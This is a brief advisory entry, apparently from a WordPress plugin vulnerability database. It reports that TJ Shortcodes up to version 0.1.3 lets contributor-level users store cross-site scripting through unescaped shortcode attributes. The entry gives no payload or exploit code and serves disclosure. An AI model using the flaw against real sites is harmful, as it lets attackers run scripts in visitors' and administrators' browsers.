WordPress Plugin Vulnerabilities

TJ Shortcodes <= 0.1.3 - Contributor+ Stored XSS via Shortcodes

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.
